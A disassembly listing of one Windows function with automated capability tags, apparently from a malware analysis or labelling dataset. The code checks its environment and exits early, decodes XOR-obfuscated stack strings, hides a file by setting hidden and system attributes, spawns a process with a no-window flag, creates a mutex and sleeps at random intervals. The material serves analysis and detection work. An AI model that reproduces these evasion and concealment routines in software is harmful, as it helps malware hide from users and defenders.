Function at 0x140008890
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get file attributes
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x4a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rsp + 0x478], rax
xor r14d, r14d
mov eax, 0xdc
mov word [rsp + 0x2a4], ax
lea r8, [rsp + 0x260]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
test eax, eax
je 0x140008906
cmp dword [rsp + 0x318], 0x32
jge 0x140008906
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140005ec0
test al, al
jne 0x140009d4d
call fcn.140006f10
test al, al
jne 0x140009d4d
call fcn.140007220
test al, al
jne 0x140009d4d
call fcn.140007980
test al, al
jne 0x140009d4d
call fcn.140008630
test al, al
jne 0x140009d4d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.1400055e0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
movdqa xmm7, xmmword [0x14000f9a0]
movdqu xmmword [rsp + 0x250], xmm7
mov word [rsp + 0x240], r14w
mov r8d, 0x104
lea rdx, [rsp + 0x360]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x360]
mov rsi, 0xffffffffffffffff
mov r9, rsi
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400089c0
lea rax, [rsp + 0x360]
add rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1a0], xmm1
lea rcx, [rsp + 0x360]
cmp rcx, rax
jne 0x140008a0d
movdqu xmmword [rsp + 0x1a0], xmm7
mov word [rsp + 0x190], r14w
jmp 0x140008a23
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x190]
call fcn.14000c7b0
nop
movdqa xmm0, xmmword [0x14000fb40]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x14000fa70]
movdqu xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x14000fac0]
movdqu xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0xc0], 0x40403336
mov dword [rsp + 0xc4], 0x42403432
mov dword [rsp + 0xc8], 0x7c394334
xor eax, eax
mov byte [rsp + 0xcc], al
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x90]
xor byte [rsp + rcx + 0x91], al
inc rcx
cmp rcx, 0x3b
jb 0x140008a90
mov byte [rsp + 0xcc], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x120], xmm1
lea rax, [rsp + 0x91]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140008ad2
lea rdx, [rsp + 0x91]
lea rcx, [rsp + 0x110]
call fcn.14000c110
nop
lea r9, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova r9, qword [rsp + 0x110]
add r9, qword [rsp + 0x120]
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova rdx, qword [rsp + 0x110]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x140], xmm1
cmp rdx, r9
jne 0x140008b5e
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], r14w
jmp 0x140008b6f
sub r9, rdx
lea rcx, [rsp + 0x130]
call fcn.14000c7b0
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x190]
call fcn.140002930
test eax, eax
jns 0x140008ba6
cmp eax, 0x800700b7
jne 0x140008ba6
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x190]
call fcn.140002930
jmp 0x140008ba6
jmp 0x140008bba
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
add r8d, 0x32
movsxd rbx, r8d
lea rcx, [rsp + 0x50]
call fcn.1400012e0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rcx
test rbx, rbx
jle 0x140008c27
imul rdx, rbx, 0xf4240
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, rdx
cmp rcx, rax
jge 0x140008c22
lea rax, [rcx + rdx]
mov qword [rsp + 0x50], rax
jmp 0x140008c27
mov qword [rsp + 0x50], r15
lea rcx, [rsp + 0x50]
call fcn.14000c540
movdqa xmm1, xmmword [0x14000fa80]
movdqu xmmword [rsp + 0x90], xmm1
movdqa xmm2, xmmword [0x14000fb90]
movdqu xmmword [rsp + 0xa0], xmm2
mov dl, 0x7b
mov r8b, 0x72
mov r9b, 0x70
mov r10b, 0x6d
mov r11b, 0x6e
mov bl, 0x6b
mov dil, 0x74
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x91], al
xor byte [rsp + 0x92], cl
xor byte [rsp + 0x93], cl
xor byte [rsp + 0x94], cl
xor byte [rsp + 0x95], cl
xor byte [rsp + 0x96], cl
xor byte [rsp + 0x97], cl
xor byte [rsp + 0x98], cl
xor byte [rsp + 0x99], cl
xor byte [rsp + 0x9a], cl
xor byte [rsp + 0x9b], cl
xor byte [rsp + 0x9c], cl
xor byte [rsp + 0x9d], cl
xor byte [rsp + 0x9e], cl
xor byte [rsp + 0x9f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0xa0], al
xor byte [rsp + 0xa1], cl
xor byte [rsp + 0xa2], cl
xor byte [rsp + 0xa3], cl
xor byte [rsp + 0xa4], cl
xor byte [rsp + 0xa5], cl
xor byte [rsp + 0xa6], cl
xor byte [rsp + 0xa7], cl
xor byte [rsp + 0xa8], cl
xor byte [rsp + 0xa9], cl
xor byte [rsp + 0xaa], cl
xor byte [rsp + 0xab], cl
xor byte [rsp + 0xac], cl
xor byte [rsp + 0xad], cl
xor byte [rsp + 0xae], cl
xor byte [rsp + 0xaf], cl
xor dl, cl
mov byte [rsp + 0xb0], dl
xor r8b, cl
mov byte [rsp + 0xb1], r8b
xor r9b, cl
mov byte [rsp + 0xb2], r9b
xor r10b, cl
mov byte [rsp + 0xb3], r10b
xor r11b, cl
mov byte [rsp + 0xb4], r11b
xor bl, cl
mov byte [rsp + 0xb5], bl
xor dil, cl
mov byte [rsp + 0xb6], dil
mov byte [rsp + 0xb7], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], r14
mov qword [rsp + 0x1c8], r14
lea rax, [rsp + 0x91]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140008dd0
lea rdx, [rsp + 0x91]
lea rcx, [rsp + 0x1b0]
call fcn.14000c110
nop
lea rcx, [rsp + 0x58]
call fcn.140003520
nop
mov byte [rsp + 0x50], 1
mov cl, 0x2f
mov dl, 0x65
mov r8b, 0x6d
movzx r9d, r8b
xor r10d, r10d
xor cl, 1
mov byte [rsp + 0x51], cl
xor dl, 1
mov byte [rsp + 0x52], dl
xor r8b, 1
mov byte [rsp + 0x53], r8b
xor r9b, 1
mov byte [rsp + 0x54], r9b
mov byte [rsp + 0x55], r10b
lea rcx, [rsp + 0x51]
nop dword [rax + rax]
inc rsi
cmp byte [rcx + rsi], r10b
jne 0x140008e40
mov r8, rsi
lea rdx, [rsp + 0x51]
mov rcx, rax
call fcn.14000b0b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140008ebf
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008eba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqa xmm6, xmmword [0x14000f9b0]
movdqu xmmword [rsp + 0x68], xmm6
mov byte [rsp + 0x58], 0
movdqa xmm1, xmmword [0x14000fb60]
movdqu xmmword [rsp + 0x340], xmm1
mov cl, 0x7b
mov dl, 0x73
mov r8b, 0x2d
mov r9b, 0x2c
mov r11b, 0x42
mov bl, 0x7a
mov dil, 0x6c
mov sil, 0x77
mov r14b, 0x68
movzx r15d, cl
movzx r12d, dil
mov r13b, 0x6d
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x341], al
xor byte [rsp + 0x342], r10b
xor byte [rsp + 0x343], r10b
xor byte [rsp + 0x344], r10b
xor byte [rsp + 0x345], r10b
xor byte [rsp + 0x346], r10b
xor byte [rsp + 0x347], r10b
xor byte [rsp + 0x348], r10b
xor byte [rsp + 0x349], r10b
xor byte [rsp + 0x34a], r10b
xor byte [rsp + 0x34b], r10b
xor byte [rsp + 0x34c], r10b
xor byte [rsp + 0x34d], r10b
xor byte [rsp + 0x34e], r10b
xor byte [rsp + 0x34f], r10b
xor cl, r10b
mov byte [rsp + 0x350], cl
xor dl, r10b
mov byte [rsp + 0x351], dl
xor r8b, r10b
mov byte [rsp + 0x352], r8b
xor r9b, r10b
mov byte [rsp + 0x353], r9b
xor r11b, r10b
mov byte [rsp + 0x354], r11b
xor bl, r10b
mov byte [rsp + 0x355], bl
xor dil, r10b
mov byte [rsp + 0x356], dil
xor sil, r10b
mov byte [rsp + 0x357], sil
xor r14b, r10b
mov byte [rsp + 0x358], r14b
xor r15b, r10b
mov byte [rsp + 0x359], r15b
xor r12b, r10b
mov byte [rsp + 0x35a], r12b
xor r13b, r10b
mov byte [rsp + 0x35b], r13b
mov al, 0x42
xor al, r10b
mov byte [rsp + 0x35c], al
mov byte [rsp + 0x35d], 0
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x341]
lea rcx, [rsp + 0xd0]
call fcn.14000ba90
nop
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
or eax, 6
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xf0]
call fcn.14000b190
xor ebx, ebx
mov edx, ebx
mov r8, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1c8]
mov rdi, qword [rsp + 0x1b0]
test r8, r8
je 0x1400090fb
lea rax, [rsp + 0x1b0]
cmp rsi, 0xf
cmova rax, rdi
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0xf
cmova rcx, qword [rsp + 0xf0]
movzx eax, byte [rax + rdx]
xor al, 0x78
mov byte [rcx + rdx], al
inc rdx
cmp rdx, r8
jb 0x1400090c0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x170]
call fcn.140001520
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x140009157
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009152
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009152
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], 0xf
mov byte [rsp + 0xf0], 0
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x58]
call fcn.14000b190
mov rdx, rbx
cmp qword [rsp + 0xe0], rbx
jbe 0x1400091d3
lea rax, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rax, qword [rsp + 0xd0]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
movzx eax, byte [rax + rdx]
xor al, 0x78
mov byte [rcx + rdx], al
inc rdx
cmp rdx, qword [rsp + 0xe0]
jb 0x140009192
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x150]
call fcn.140001520
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140009226
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009221
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009221
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
movups xmm0, xmmword [0x14000f810]
movups xmmword [rsp + 0x340], xmm0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1e0], xmm1
movups xmmword [rsp + 0x1f0], xmm1
movups xmmword [rsp + 0x200], xmm1
movups xmmword [rsp + 0x210], xmm1
movups xmmword [rsp + 0x220], xmm1
mov qword [rsp + 0x230], rax
mov dword [rsp + 0x1d0], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x20c], 1
mov word [rsp + 0x210], bx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400095b8
mov rdx, qword [rsp + 0x168]
cmp rdx, 0xf
jbe 0x140009341
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000933c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097f6
call fcn.14000cc60
movdqu xmmword [rsp + 0x160], xmm6
mov byte [rsp + 0x150], 0
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x140009395
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009390
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000984d
call fcn.14000cc60
movdqu xmmword [rsp + 0x180], xmm6
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x1400093e9
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400098a4
call fcn.14000cc60
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x140009449
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009443
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009906
call fcn.14000cc60
nop
cmp rsi, 0xf
jbe 0x140009481
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140009478
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000993e
mov rcx, rdi
call fcn.14000cc60
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1400094c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000998d
call fcn.14000cc60
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], bx
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x14000951d
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009518
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400099e4
call fcn.14000cc60
movdqu xmmword [rsp + 0x120], xmm6
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x140009577
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009571
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a40
call fcn.14000cc60
nop
mov eax, 1
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.14000cc40
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov r15d, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs r12, 0x7ffffffdabf41bff
movabs r13, 0x2540be400
movabs r14, 0x7fffffffffffffff
nop word [rax + rax]
lea rcx, [rsp + 0x340]
call fcn.1400012e0
mov rax, qword [rsp + 0x340]
cmp rax, r12
jge 0x140009625
lea rcx, [rax + r13]
mov qword [rsp + 0x50], rcx
jmp 0x14000962a
mov qword [rsp + 0x50], r14
lea rcx, [rsp + 0x50]
call fcn.14000c540
mov r8b, 0x78
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x170]
call fcn.140001b30
test al, al
je 0x140009600
lea rcx, [rsp + 0xf0]
call fcn.140003520
nop
lea r8, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0xf
cmova r8, qword [rsp + 0xf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r12, rax
test rax, rax
je 0x140009a54
lea rcx, [rsp + 0x340]
call fcn.1400012e0
movabs rax, 0x7fffffff88ca6bff
mov rcx, qword [rsp + 0x340]
cmp rcx, rax
jge 0x1400096c0
add rcx, 0x77359400
mov qword [rsp + 0x50], rcx
jmp 0x1400096c5
mov qword [rsp + 0x50], r14
lea rcx, [rsp + 0x50]
call fcn.14000c540
lea r14, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova r14, qword [rsp + 0xd0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
je 0x140009715
sub r8d, 1
je 0x140009715
cmp r8d, 1
jne 0x140009729
call fcn.1400024d0
movzx r8d, al
mov rdx, r14
mov ecx, r15d
call fcn.140002590
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
or eax, 6
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x1400097bc
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a8e
call fcn.14000cc60
nop
mov rdx, qword [rsp + 0x168]
cmp rdx, 0xf
jbe 0x140009802
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x160], xmm6
mov byte [rsp + 0x150], 0
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x140009859
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009854
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009854
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x180], xmm6
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x1400098b0
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400098ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x140009913
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000990d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000990d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
nop
cmp rsi, 0xf
jbe 0x14000994e
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140009945
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009945
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000cc60
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x140009999
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], bx
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x1400099f0
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400099eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400099eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x120], xmm6
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x140009a4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
nop
xor eax, eax
jmp 0x14000957c
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x140009a9a
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], 0xf
mov byte [rsp + 0xf0], 0
mov rdx, qword [rsp + 0x168]
cmp rdx, 0xf
jbe 0x140009afc
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009af7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009af7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x160], xmm6
mov byte [rsp + 0x150], 0
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x140009b53
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x180], xmm6
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x140009baa
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x140009c0d
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
nop
cmp rsi, 0xf
jbe 0x140009c48
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140009c3f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000cc60
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x140009c93
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
